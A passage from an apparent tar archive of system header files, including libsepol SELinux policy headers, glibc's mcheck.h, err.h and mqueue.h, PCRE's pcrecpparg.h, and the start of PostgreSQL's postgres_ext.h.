sepol_ibpkey_t *data); /* Iterate the ibpkeys * The handler may return: * -1 to signal an error condition, * 1 to signal successful exit * 0 to signal continue */ extern int sepol_ibpkey_iterate(sepol_handle_t *handle, const sepol_policydb_t *policydb, int (*fn)(const sepol_ibpkey_t *ibpkey, void *fn_arg), void *arg); #ifdef __cplusplus } #endif #endif sepol/roles.h 0000644 00000000523 15246445046 0007175 0 ustar 00 #ifndef _SEPOL_ROLES_H_ #define _SEPOL_ROLES_H_ #ifdef __cplusplus extern "C" { #endif extern int sepol_role_exists(const sepol_policydb_t * policydb, const char *role, int *response); extern int sepol_role_list(const sepol_policydb_t * policydb, char ***roles, unsigned int *nroles); #ifdef __cplusplus } #endif #endif sepol/ports.h 0000644 00000002440 15246445046 0007220 0 ustar 00 #ifndef _SEPOL_PORTS_H_ #define _SEPOL_PORTS_H_ #include <sepol/handle.h> #include <sepol/policydb.h> #include <sepol/port_record.h> #ifdef __cplusplus extern "C" { #endif /* Return the number of ports */ extern int sepol_port_count(sepol_handle_t * handle, const sepol_policydb_t * p, unsigned int *response); /* Check if a port exists */ extern int sepol_port_exists(sepol_handle_t * handle, const sepol_policydb_t * policydb, const sepol_port_key_t * key, int *response); /* Query a port - returns the port, or NULL if not found */ extern int sepol_port_query(sepol_handle_t * handle, const sepol_policydb_t * policydb, const sepol_port_key_t * key, sepol_port_t ** response); /* Modify a port, or add it, if the key is not found */ extern int sepol_port_modify(sepol_handle_t * handle, sepol_policydb_t * policydb, const sepol_port_key_t * key, const sepol_port_t * data); /* Iterate the ports * The handler may return: * -1 to signal an error condition, * 1 to signal successful exit * 0 to signal continue */ extern int sepol_port_iterate(sepol_handle_t * handle, const sepol_policydb_t * policydb, int (*fn) (const sepol_port_t * port, void *fn_arg), void *arg); #ifdef __cplusplus } #endif #endif sepol/node_record.h 0000644 00000005366 15246445046 0010346 0 ustar 00 #ifndef _SEPOL_NODE_RECORD_H_ #define _SEPOL_NODE_RECORD_H_ #include <stddef.h> #include <sepol/context_record.h> #include <sepol/handle.h> #ifdef __cplusplus extern "C" { #endif struct sepol_node; struct sepol_node_key; typedef struct sepol_node sepol_node_t; typedef struct sepol_node_key sepol_node_key_t; #define SEPOL_PROTO_IP4 0 #define SEPOL_PROTO_IP6 1 /* Key */ extern int sepol_node_compare(const sepol_node_t * node, const sepol_node_key_t * key); extern int sepol_node_compare2(const sepol_node_t * node, const sepol_node_t * node2); extern int sepol_node_key_create(sepol_handle_t * handle, const char *addr, const char *mask, int proto, sepol_node_key_t ** key_ptr); extern void sepol_node_key_unpack(const sepol_node_key_t * key, const char **addr, const char **mask, int *proto); extern int sepol_node_key_extract(sepol_handle_t * handle, const sepol_node_t * node, sepol_node_key_t ** key_ptr); extern void sepol_node_key_free(sepol_node_key_t * key); /* Address */ extern int sepol_node_get_addr(sepol_handle_t * handle, const sepol_node_t * node, char **addr); extern int sepol_node_get_addr_bytes(sepol_handle_t * handle, const sepol_node_t * node, char **addr, size_t * addr_sz); extern int sepol_node_set_addr(sepol_handle_t * handle, sepol_node_t * node, int proto, const char *addr); extern int sepol_node_set_addr_bytes(sepol_handle_t * handle, sepol_node_t * node, const char *addr, size_t addr_sz); /* Netmask */ extern int sepol_node_get_mask(sepol_handle_t * handle, const sepol_node_t * node, char **mask); extern int sepol_node_get_mask_bytes(sepol_handle_t * handle, const sepol_node_t * node, char **mask, size_t * mask_sz); extern int sepol_node_set_mask(sepol_handle_t * handle, sepol_node_t * node, int proto, const char *mask); extern int sepol_node_set_mask_bytes(sepol_handle_t * handle, sepol_node_t * node, const char *mask, size_t mask_sz); /* Protocol */ extern int sepol_node_get_proto(const sepol_node_t * node); extern void sepol_node_set_proto(sepol_node_t * node, int proto); extern const char *sepol_node_get_proto_str(int proto); /* Context */ extern sepol_context_t *sepol_node_get_con(const sepol_node_t * node); extern int sepol_node_set_con(sepol_handle_t * handle, sepol_node_t * node, sepol_context_t * con); /* Create/Clone/Destroy */ extern int sepol_node_create(sepol_handle_t * handle, sepol_node_t ** node_ptr); extern int sepol_node_clone(sepol_handle_t * handle, const sepol_node_t * node, sepol_node_t ** node_ptr); extern void sepol_node_free(sepol_node_t * node); #ifdef __cplusplus } #endif #endif sepol/handle.h 0000644 00000002561 15246445046 0007310 0 ustar 00 #ifndef _SEPOL_HANDLE_H_ #define _SEPOL_HANDLE_H_ #ifdef __cplusplus extern "C" { #endif struct sepol_handle; typedef struct sepol_handle sepol_handle_t; /* Create and return a sepol handle. */ sepol_handle_t *sepol_handle_create(void); /* Get whether or not dontaudits will be disabled, same values as * specified by set_disable_dontaudit. This value reflects the state * your system will be set to upon commit, not necessarily its * current state.*/ int sepol_get_disable_dontaudit(sepol_handle_t * sh); /* Set whether or not to disable dontaudits, 0 is default and does * not disable dontaudits, 1 disables them */ void sepol_set_disable_dontaudit(sepol_handle_t * sh, int disable_dontaudit); /* Set whether module_expand() should consume the base policy passed in. * This should reduce the amount of memory required to expand the policy. */ void sepol_set_expand_consume_base(sepol_handle_t * sh, int consume_base); /* Destroy a sepol handle. */ void sepol_handle_destroy(sepol_handle_t *); /* Get whether or not needless unused branch of tunables would be preserved */ int sepol_get_preserve_tunables(sepol_handle_t * sh); /* Set whether or not to preserve the needless unused branch of tunables, * 0 is default and discard such branch, 1 preserves them */ void sepol_set_preserve_tunables(sepol_handle_t * sh, int preserve_tunables); #ifdef __cplusplus } #endif #endif sepol/debug.h 0000644 00000001717 15246445046 0007145 0 ustar 00 #ifndef _SEPOL_DEBUG_H_ #define _SEPOL_DEBUG_H_ #include <sepol/handle.h> #ifdef __cplusplus extern "C" { #endif /* Deprecated */ extern void sepol_debug(int on); /* End deprecated */ #define SEPOL_MSG_ERR 1 #define SEPOL_MSG_WARN 2 #define SEPOL_MSG_INFO 3 extern int sepol_msg_get_level(sepol_handle_t * handle); extern const char *sepol_msg_get_channel(sepol_handle_t * handle); extern const char *sepol_msg_get_fname(sepol_handle_t * handle); /* Set the messaging callback. * By the default, the callback will print * the message on standard output, in a * particular format. Passing NULL here * indicates that messaging should be suppressed */ extern void sepol_msg_set_callback(sepol_handle_t * handle, #ifdef __GNUC__ __attribute__ ((format(printf, 3, 4))) #endif void (*msg_callback) (void *varg, sepol_handle_t * handle, const char *fmt, ...), void *msg_callback_arg); #ifdef __cplusplus } #endif #endif sepol/nodes.h 0000644 00000002440 15246445046 0007161 0 ustar 00 #ifndef _SEPOL_NODES_H_ #define _SEPOL_NODES_H_ #include <sepol/handle.h> #include <sepol/policydb.h> #include <sepol/node_record.h> #ifdef __cplusplus extern "C" { #endif /* Return the number of nodes */ extern int sepol_node_count(sepol_handle_t * handle, const sepol_policydb_t * p, unsigned int *response); /* Check if a node exists */ extern int sepol_node_exists(sepol_handle_t * handle, const sepol_policydb_t * policydb, const sepol_node_key_t * key, int *response); /* Query a node - returns the node, or NULL if not found */ extern int sepol_node_query(sepol_handle_t * handle, const sepol_policydb_t * policydb, const sepol_node_key_t * key, sepol_node_t ** response); /* Modify a node, or add it, if the key is not found */ extern int sepol_node_modify(sepol_handle_t * handle, sepol_policydb_t * policydb, const sepol_node_key_t * key, const sepol_node_t * data); /* Iterate the nodes * The handler may return: * -1 to signal an error condition, * 1 to signal successful exit * 0 to signal continue */ extern int sepol_node_iterate(sepol_handle_t * handle, const sepol_policydb_t * policydb, int (*fn) (const sepol_node_t * node, void *fn_arg), void *arg); #ifdef __cplusplus } #endif #endif sepol/booleans.h 0000644 00000004304 15246445046 0007654 0 ustar 00 #ifndef _SEPOL_BOOLEANS_H_ #define _SEPOL_BOOLEANS_H_ #include <stddef.h> #include <sepol/policydb.h> #include <sepol/boolean_record.h> #include <sepol/handle.h> #ifdef __cplusplus extern "C" { #endif /*--------------compatibility--------------*/ /* Given an existing binary policy (starting at 'data', with length 'len') and a boolean configuration file named by 'boolpath', rewrite the binary policy for the boolean settings in the boolean configuration file. The binary policy is rewritten in place in memory. Returns 0 upon success, or -1 otherwise. */ extern int sepol_genbools(void *data, size_t len, const char *boolpath); /* Given an existing binary policy (starting at 'data', with length 'len') and boolean settings specified by the parallel arrays ('names', 'values') with 'nel' elements, rewrite the binary policy for the boolean settings. The binary policy is rewritten in place in memory. Returns 0 upon success or -1 otherwise. */ extern int sepol_genbools_array(void *data, size_t len, char **names, int *values, int nel); /*---------------end compatbility------------*/ /* Set the specified boolean */ extern int sepol_bool_set(sepol_handle_t * handle, sepol_policydb_t * policydb, const sepol_bool_key_t * key, const sepol_bool_t * data); /* Return the number of booleans */ extern int sepol_bool_count(sepol_handle_t * handle, const sepol_policydb_t * p, unsigned int *response); /* Check if the specified boolean exists */ extern int sepol_bool_exists(sepol_handle_t * handle, const sepol_policydb_t * policydb, const sepol_bool_key_t * key, int *response); /* Query a boolean - returns the boolean, or NULL if not found */ extern int sepol_bool_query(sepol_handle_t * handle, const sepol_policydb_t * p, const sepol_bool_key_t * key, sepol_bool_t ** response); /* Iterate the booleans * The handler may return: * -1 to signal an error condition, * 1 to signal successful exit * 0 to signal continue */ extern int sepol_bool_iterate(sepol_handle_t * handle, const sepol_policydb_t * policydb, int (*fn) (const sepol_bool_t * boolean, void *fn_arg), void *arg); #ifdef __cplusplus } #endif #endif sepol/module.h 0000644 00000005170 15246445046 0007341 0 ustar 00 #ifndef _SEPOL_MODULE_H_ #define _SEPOL_MODULE_H_ #include <stddef.h> #include <stdio.h> #include <stdint.h> #include <sepol/handle.h> #include <sepol/policydb.h> #ifdef __cplusplus extern "C" { #endif struct sepol_module_package; typedef struct sepol_module_package sepol_module_package_t; /* Module package public interfaces. */ extern int sepol_module_package_create(sepol_module_package_t ** p); extern void sepol_module_package_free(sepol_module_package_t * p); extern char *sepol_module_package_get_file_contexts(sepol_module_package_t * p); extern size_t sepol_module_package_get_file_contexts_len(sepol_module_package_t * p); extern int sepol_module_package_set_file_contexts(sepol_module_package_t * p, char *data, size_t len); extern char *sepol_module_package_get_seusers(sepol_module_package_t * p); extern size_t sepol_module_package_get_seusers_len(sepol_module_package_t * p); extern int sepol_module_package_set_seusers(sepol_module_package_t * p, char *data, size_t len); extern char *sepol_module_package_get_user_extra(sepol_module_package_t * p); extern size_t sepol_module_package_get_user_extra_len(sepol_module_package_t * p); extern int sepol_module_package_set_user_extra(sepol_module_package_t * p, char *data, size_t len); extern char *sepol_module_package_get_netfilter_contexts(sepol_module_package_t * p); extern size_t sepol_module_package_get_netfilter_contexts_len(sepol_module_package_t * p); extern int sepol_module_package_set_netfilter_contexts(sepol_module_package_t * p, char *data, size_t len); extern sepol_policydb_t *sepol_module_package_get_policy(sepol_module_package_t * p); extern int sepol_link_packages(sepol_handle_t * handle, sepol_module_package_t * base, sepol_module_package_t ** modules, int num_modules, int verbose); extern int sepol_module_package_read(sepol_module_package_t * mod, struct sepol_policy_file *file, int verbose); extern int sepol_module_package_info(struct sepol_policy_file *file, int *type, char **name, char **version); extern int sepol_module_package_write(sepol_module_package_t * p, struct sepol_policy_file *file); /* Module linking/expanding public interfaces. */ extern int sepol_link_modules(sepol_handle_t * handle, sepol_policydb_t * base, sepol_policydb_t ** modules, size_t len, int verbose); extern int sepol_expand_module(sepol_handle_t * handle, sepol_policydb_t * base, sepol_policydb_t * out, int verbose, int check); #ifdef __cplusplus } #endif #endif sepol/module_to_cil.h 0000644 00000000511 15246445046 0010664 0 ustar 00 #include <stdlib.h> #include <sepol/module.h> #include <sepol/policydb/policydb.h> int sepol_module_policydb_to_cil(FILE *fp, struct policydb *pdb, int linked); int sepol_module_package_to_cil(FILE *fp, struct sepol_module_package *mod_pkg); int sepol_ppfile_to_module_package(FILE *fp, struct sepol_module_package **mod_pkg); sepol/ibpkey_record.h 0000644 00000004375 15246445046 0010703 0 ustar 00 #ifndef _SEPOL_IBPKEY_RECORD_H_ #define _SEPOL_IBPKEY_RECORD_H_ #include <stddef.h> #include <stdint.h> #include <sepol/context_record.h> #include <sepol/handle.h> #define INET6_ADDRLEN 16 #ifdef __cplusplus extern "C" { #endif struct sepol_ibpkey; struct sepol_ibpkey_key; typedef struct sepol_ibpkey sepol_ibpkey_t; typedef struct sepol_ibpkey_key sepol_ibpkey_key_t; extern int sepol_ibpkey_compare(const sepol_ibpkey_t *ibpkey, const sepol_ibpkey_key_t *key); extern int sepol_ibpkey_compare2(const sepol_ibpkey_t *ibpkey, const sepol_ibpkey_t *ibpkey2); extern int sepol_ibpkey_key_create(sepol_handle_t *handle, const char *subnet_prefix, int low, int high, sepol_ibpkey_key_t **key_ptr); extern void sepol_ibpkey_key_unpack(const sepol_ibpkey_key_t *key, uint64_t *subnet_prefix, int *low, int *high); extern int sepol_ibpkey_key_extract(sepol_handle_t *handle, const sepol_ibpkey_t *ibpkey, sepol_ibpkey_key_t **key_ptr); extern void sepol_ibpkey_key_free(sepol_ibpkey_key_t *key); extern int sepol_ibpkey_get_low(const sepol_ibpkey_t *ibpkey); extern int sepol_ibpkey_get_high(const sepol_ibpkey_t *ibpkey); extern void sepol_ibpkey_set_pkey(sepol_ibpkey_t *ibpkey, int pkey_num); extern void sepol_ibpkey_set_range(sepol_ibpkey_t *ibpkey, int low, int high); extern int sepol_ibpkey_get_subnet_prefix(sepol_handle_t *handle, const sepol_ibpkey_t *ibpkey, char **subnet_prefix); extern uint64_t sepol_ibpkey_get_subnet_prefix_bytes(const sepol_ibpkey_t *ibpkey); extern int sepol_ibpkey_set_subnet_prefix(sepol_handle_t *handle, sepol_ibpkey_t *ibpkey, const char *subnet_prefix); extern void sepol_ibpkey_set_subnet_prefix_bytes(sepol_ibpkey_t *ibpkey, uint64_t subnet_prefix); extern sepol_context_t *sepol_ibpkey_get_con(const sepol_ibpkey_t *ibpkey); extern int sepol_ibpkey_set_con(sepol_handle_t *handle, sepol_ibpkey_t *ibpkey, sepol_context_t *con); extern int sepol_ibpkey_create(sepol_handle_t *handle, sepol_ibpkey_t **ibpkey_ptr); extern int sepol_ibpkey_clone(sepol_handle_t *handle, const sepol_ibpkey_t *ibpkey, sepol_ibpkey_t **ibpkey_ptr); extern void sepol_ibpkey_free(sepol_ibpkey_t *ibpkey); #ifdef __cplusplus } #endif #endif sepol/user_record.h 0000644 00000004520 15246445046 0010366 0 ustar 00 #ifndef _SEPOL_USER_RECORD_H_ #define _SEPOL_USER_RECORD_H_ #include <stddef.h> #include <sepol/handle.h> #ifdef __cplusplus extern "C" { #endif struct sepol_user; struct sepol_user_key; typedef struct sepol_user sepol_user_t; typedef struct sepol_user_key sepol_user_key_t; /* Key */ extern int sepol_user_key_create(sepol_handle_t * handle, const char *name, sepol_user_key_t ** key); extern void sepol_user_key_unpack(const sepol_user_key_t * key, const char **name); extern int sepol_user_key_extract(sepol_handle_t * handle, const sepol_user_t * user, sepol_user_key_t ** key_ptr); extern void sepol_user_key_free(sepol_user_key_t * key); extern int sepol_user_compare(const sepol_user_t * user, const sepol_user_key_t * key); extern int sepol_user_compare2(const sepol_user_t * user, const sepol_user_t * user2); /* Name */ extern const char *sepol_user_get_name(const sepol_user_t * user); extern int sepol_user_set_name(sepol_handle_t * handle, sepol_user_t * user, const char *name); /* MLS */ extern const char *sepol_user_get_mlslevel(const sepol_user_t * user); extern int sepol_user_set_mlslevel(sepol_handle_t * handle, sepol_user_t * user, const char *mls_level); extern const char *sepol_user_get_mlsrange(const sepol_user_t * user); extern int sepol_user_set_mlsrange(sepol_handle_t * handle, sepol_user_t * user, const char *mls_range); /* Role management */ extern int sepol_user_get_num_roles(const sepol_user_t * user); extern int sepol_user_add_role(sepol_handle_t * handle, sepol_user_t * user, const char *role); extern void sepol_user_del_role(sepol_user_t * user, const char *role); extern int sepol_user_has_role(const sepol_user_t * user, const char *role); extern int sepol_user_get_roles(sepol_handle_t * handle, const sepol_user_t * user, const char ***roles_arr, unsigned int *num_roles); extern int sepol_user_set_roles(sepol_handle_t * handle, sepol_user_t * user, const char **roles_arr, unsigned int num_roles); /* Create/Clone/Destroy */ extern int sepol_user_create(sepol_handle_t * handle, sepol_user_t ** user_ptr); extern int sepol_user_clone(sepol_handle_t * handle, const sepol_user_t * user, sepol_user_t ** user_ptr); extern void sepol_user_free(sepol_user_t * user); #ifdef __cplusplus } #endif #endif mcheck.h 0000644 00000004602 15246445046 0006163 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _MCHECK_H #define _MCHECK_H 1 #include <features.h> __BEGIN_DECLS /* Return values for `mprobe': these are the kinds of inconsistencies that `mcheck' enables detection of. */ enum mcheck_status { MCHECK_DISABLED = -1, /* Consistency checking is not turned on. */ MCHECK_OK, /* Block is fine. */ MCHECK_FREE, /* Block freed twice. */ MCHECK_HEAD, /* Memory before the block was clobbered. */ MCHECK_TAIL /* Memory after the block was clobbered. */ }; /* Activate a standard collection of debugging hooks. This must be called before `malloc' is ever called. ABORTFUNC is called with an error code (see enum above) when an inconsistency is detected. If ABORTFUNC is null, the standard function prints on stderr and then calls `abort'. */ extern int mcheck (void (*__abortfunc)(enum mcheck_status)) __THROW; /* Similar to `mcheck' but performs checks for all block whenever one of the memory handling functions is called. This can be very slow. */ extern int mcheck_pedantic (void (*__abortfunc)(enum mcheck_status)) __THROW; /* Force check of all blocks now. */ extern void mcheck_check_all (void); /* Check for aberrations in a particular malloc'd block. You must have called `mcheck' already. These are the same checks that `mcheck' does when you free or reallocate a block. */ extern enum mcheck_status mprobe (void *__ptr) __THROW; /* Activate a standard collection of tracing hooks. */ extern void mtrace (void) __THROW; extern void muntrace (void) __THROW; __END_DECLS #endif /* mcheck.h */ err.h 0000644 00000004241 15246445046 0005520 0 ustar 00 /* 4.4BSD utility functions for error messages. Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _ERR_H #define _ERR_H 1 #include <features.h> #define __need___va_list #include <stdarg.h> #ifndef __GNUC_VA_LIST # define __gnuc_va_list void * #endif __BEGIN_DECLS /* Print "program: ", FORMAT, ": ", the standard error string for errno, and a newline, on stderr. */ extern void warn (const char *__format, ...) __attribute__ ((__format__ (__printf__, 1, 2))); extern void vwarn (const char *__format, __gnuc_va_list) __attribute__ ((__format__ (__printf__, 1, 0))); /* Likewise, but without ": " and the standard error string. */ extern void warnx (const char *__format, ...) __attribute__ ((__format__ (__printf__, 1, 2))); extern void vwarnx (const char *__format, __gnuc_va_list) __attribute__ ((__format__ (__printf__, 1, 0))); /* Likewise, and then exit with STATUS. */ extern void err (int __status, const char *__format, ...) __attribute__ ((__noreturn__, __format__ (__printf__, 2, 3))); extern void verr (int __status, const char *__format, __gnuc_va_list) __attribute__ ((__noreturn__, __format__ (__printf__, 2, 0))); extern void errx (int __status, const char *__format, ...) __attribute__ ((__noreturn__, __format__ (__printf__, 2, 3))); extern void verrx (int __status, const char *, __gnuc_va_list) __attribute__ ((__noreturn__, __format__ (__printf__, 2, 0))); __END_DECLS #endif /* err.h */ mqueue.h 0000644 00000007257 15246445046 0006243 0 ustar 00 /* Copyright (C) 2004-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _MQUEUE_H #define _MQUEUE_H 1 #include <features.h> #include <sys/types.h> #include <fcntl.h> #include <bits/types/sigevent_t.h> #include <bits/types/struct_timespec.h> /* Get the definition of mqd_t and struct mq_attr. */ #include <bits/mqueue.h> __BEGIN_DECLS /* Establish connection between a process and a message queue NAME and return message queue descriptor or (mqd_t) -1 on error. OFLAG determines the type of access used. If O_CREAT is on OFLAG, the third argument is taken as a `mode_t', the mode of the created message queue, and the fourth argument is taken as `struct mq_attr *', pointer to message queue attributes. If the fourth argument is NULL, default attributes are used. */ extern mqd_t mq_open (const char *__name, int __oflag, ...) __THROW __nonnull ((1)); /* Removes the association between message queue descriptor MQDES and its message queue. */ extern int mq_close (mqd_t __mqdes) __THROW; /* Query status and attributes of message queue MQDES. */ extern int mq_getattr (mqd_t __mqdes, struct mq_attr *__mqstat) __THROW __nonnull ((2)); /* Set attributes associated with message queue MQDES and if OMQSTAT is not NULL also query its old attributes. */ extern int mq_setattr (mqd_t __mqdes, const struct mq_attr *__restrict __mqstat, struct mq_attr *__restrict __omqstat) __THROW __nonnull ((2)); /* Remove message queue named NAME. */ extern int mq_unlink (const char *__name) __THROW __nonnull ((1)); /* Register notification issued upon message arrival to an empty message queue MQDES. */ extern int mq_notify (mqd_t __mqdes, const struct sigevent *__notification) __THROW; /* Receive the oldest from highest priority messages in message queue MQDES. */ extern ssize_t mq_receive (mqd_t __mqdes, char *__msg_ptr, size_t __msg_len, unsigned int *__msg_prio) __nonnull ((2)); /* Add message pointed by MSG_PTR to message queue MQDES. */ extern int mq_send (mqd_t __mqdes, const char *__msg_ptr, size_t __msg_len, unsigned int __msg_prio) __nonnull ((2)); #ifdef __USE_XOPEN2K /* Receive the oldest from highest priority messages in message queue MQDES, stop waiting if ABS_TIMEOUT expires. */ extern ssize_t mq_timedreceive (mqd_t __mqdes, char *__restrict __msg_ptr, size_t __msg_len, unsigned int *__restrict __msg_prio, const struct timespec *__restrict __abs_timeout) __nonnull ((2, 5)); /* Add message pointed by MSG_PTR to message queue MQDES, stop blocking on full message queue if ABS_TIMEOUT expires. */ extern int mq_timedsend (mqd_t __mqdes, const char *__msg_ptr, size_t __msg_len, unsigned int __msg_prio, const struct timespec *__abs_timeout) __nonnull ((2, 5)); #endif /* Define some inlines helping to catch common problems. */ #if __USE_FORTIFY_LEVEL > 0 && defined __fortify_function \ && defined __va_arg_pack_len # include <bits/mqueue2.h> #endif __END_DECLS #endif /* mqueue.h */ pcrecpparg.h 0000644 00000015177 15246445046 0007070 0 ustar 00 // Copyright (c) 2005, Google Inc. // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Author: Sanjay Ghemawat #ifndef _PCRECPPARG_H #define _PCRECPPARG_H #include <stdlib.h> // for NULL #include <string> #include <pcre.h> namespace pcrecpp { class StringPiece; // Hex/Octal/Binary? // Special class for parsing into objects that define a ParseFrom() method template <class T> class _RE_MatchObject { public: static inline bool Parse(const char* str, int n, void* dest) { if (dest == NULL) return true; T* object = reinterpret_cast<T*>(dest); return object->ParseFrom(str, n); } }; class PCRECPP_EXP_DEFN Arg { public: // Empty constructor so we can declare arrays of Arg Arg(); // Constructor specially designed for NULL arguments Arg(void*); typedef bool (*Parser)(const char* str, int n, void* dest); // Type-specific parsers #define PCRE_MAKE_PARSER(type,name) \ Arg(type* p) : arg_(p), parser_(name) { } \ Arg(type* p, Parser parser) : arg_(p), parser_(parser) { } PCRE_MAKE_PARSER(char, parse_char); PCRE_MAKE_PARSER(unsigned char, parse_uchar); PCRE_MAKE_PARSER(short, parse_short); PCRE_MAKE_PARSER(unsigned short, parse_ushort); PCRE_MAKE_PARSER(int, parse_int); PCRE_MAKE_PARSER(unsigned int, parse_uint); PCRE_MAKE_PARSER(long, parse_long); PCRE_MAKE_PARSER(unsigned long, parse_ulong); #if 1 PCRE_MAKE_PARSER(long long, parse_longlong); #endif #if 1 PCRE_MAKE_PARSER(unsigned long long, parse_ulonglong); #endif PCRE_MAKE_PARSER(float, parse_float); PCRE_MAKE_PARSER(double, parse_double); PCRE_MAKE_PARSER(std::string, parse_string); PCRE_MAKE_PARSER(StringPiece, parse_stringpiece); #undef PCRE_MAKE_PARSER // Generic constructor template <class T> Arg(T*, Parser parser); // Generic constructor template template <class T> Arg(T* p) : arg_(p), parser_(_RE_MatchObject<T>::Parse) { } // Parse the data bool Parse(const char* str, int n) const; private: void* arg_; Parser parser_; static bool parse_null (const char* str, int n, void* dest); static bool parse_char (const char* str, int n, void* dest); static bool parse_uchar (const char* str, int n, void* dest); static bool parse_float (const char* str, int n, void* dest); static bool parse_double (const char* str, int n, void* dest); static bool parse_string (const char* str, int n, void* dest); static bool parse_stringpiece (const char* str, int n, void* dest); #define PCRE_DECLARE_INTEGER_PARSER(name) \ private: \ static bool parse_ ## name(const char* str, int n, void* dest); \ static bool parse_ ## name ## _radix( \ const char* str, int n, void* dest, int radix); \ public: \ static bool parse_ ## name ## _hex(const char* str, int n, void* dest); \ static bool parse_ ## name ## _octal(const char* str, int n, void* dest); \ static bool parse_ ## name ## _cradix(const char* str, int n, void* dest) PCRE_DECLARE_INTEGER_PARSER(short); PCRE_DECLARE_INTEGER_PARSER(ushort); PCRE_DECLARE_INTEGER_PARSER(int); PCRE_DECLARE_INTEGER_PARSER(uint); PCRE_DECLARE_INTEGER_PARSER(long); PCRE_DECLARE_INTEGER_PARSER(ulong); PCRE_DECLARE_INTEGER_PARSER(longlong); PCRE_DECLARE_INTEGER_PARSER(ulonglong); #undef PCRE_DECLARE_INTEGER_PARSER }; inline Arg::Arg() : arg_(NULL), parser_(parse_null) { } inline Arg::Arg(void* p) : arg_(p), parser_(parse_null) { } inline bool Arg::Parse(const char* str, int n) const { return (*parser_)(str, n, arg_); } // This part of the parser, appropriate only for ints, deals with bases #define MAKE_INTEGER_PARSER(type, name) \ inline Arg Hex(type* ptr) { \ return Arg(ptr, Arg::parse_ ## name ## _hex); } \ inline Arg Octal(type* ptr) { \ return Arg(ptr, Arg::parse_ ## name ## _octal); } \ inline Arg CRadix(type* ptr) { \ return Arg(ptr, Arg::parse_ ## name ## _cradix); } MAKE_INTEGER_PARSER(short, short) /* */ MAKE_INTEGER_PARSER(unsigned short, ushort) /* */ MAKE_INTEGER_PARSER(int, int) /* Don't use semicolons */ MAKE_INTEGER_PARSER(unsigned int, uint) /* after these statement */ MAKE_INTEGER_PARSER(long, long) /* because they can cause */ MAKE_INTEGER_PARSER(unsigned long, ulong) /* compiler warnings if */ #if 1 /* the checking level is */ MAKE_INTEGER_PARSER(long long, longlong) /* turned up high enough. */ #endif /* */ #if 1 /* */ MAKE_INTEGER_PARSER(unsigned long long, ulonglong) /* */ #endif #undef PCRE_IS_SET #undef PCRE_SET_OR_CLEAR #undef MAKE_INTEGER_PARSER } // namespace pcrecpp #endif /* _PCRECPPARG_H */ postgres_ext.h 0000644 00000004277 15246445046 0007467 0 ustar 00 /*------------------------------------------------------------------------- * * postgres_ext.h * * This file contains declarations of things that are visible everywhere * in PostgreSQL *and* are visible to clients of frontend interface libraries. * For example, the Oid type is part of the API of libpq and other libraries. * * Declarations which are specific to a particular interface should * go in the header file for that interface (such as libpq-fe.h). This * file is only for fundamental Postgres declarations. * * User-written C functions don't count as "external to Postgres." * Those function much as local modifications to the backend itself, and * use header files that are otherwise internal to Postgres to interface * with the backend. * * src/include/postgres_ext.h * *------------------------------------------------------------------------- */ #ifndef POSTGRES_EXT_H #define POSTGRES_EXT_H #include "pg_config_ext.h" /* * Object ID is a fundamental type in Postgres. */ typedef unsigned int Oid; #ifdef __cplusplus #define InvalidOid (Oid(0)) #else #define InvalidOid ((Oid) 0) #endif #define OID_MAX UINT_MAX /* you will need to include <limits.h> to use the above #define */ #define atooid(x) ((Oid) strtoul((x), NULL, 10)) /* the above needs <stdlib.h> */ /* Define a signed 64-bit integer type for use in client API declarations. */ typedef PG_INT64_TYPE pg_int64; /* * Identifiers of error message fields. Kept here to keep common * between frontend and backend, and also to export them to libpq * 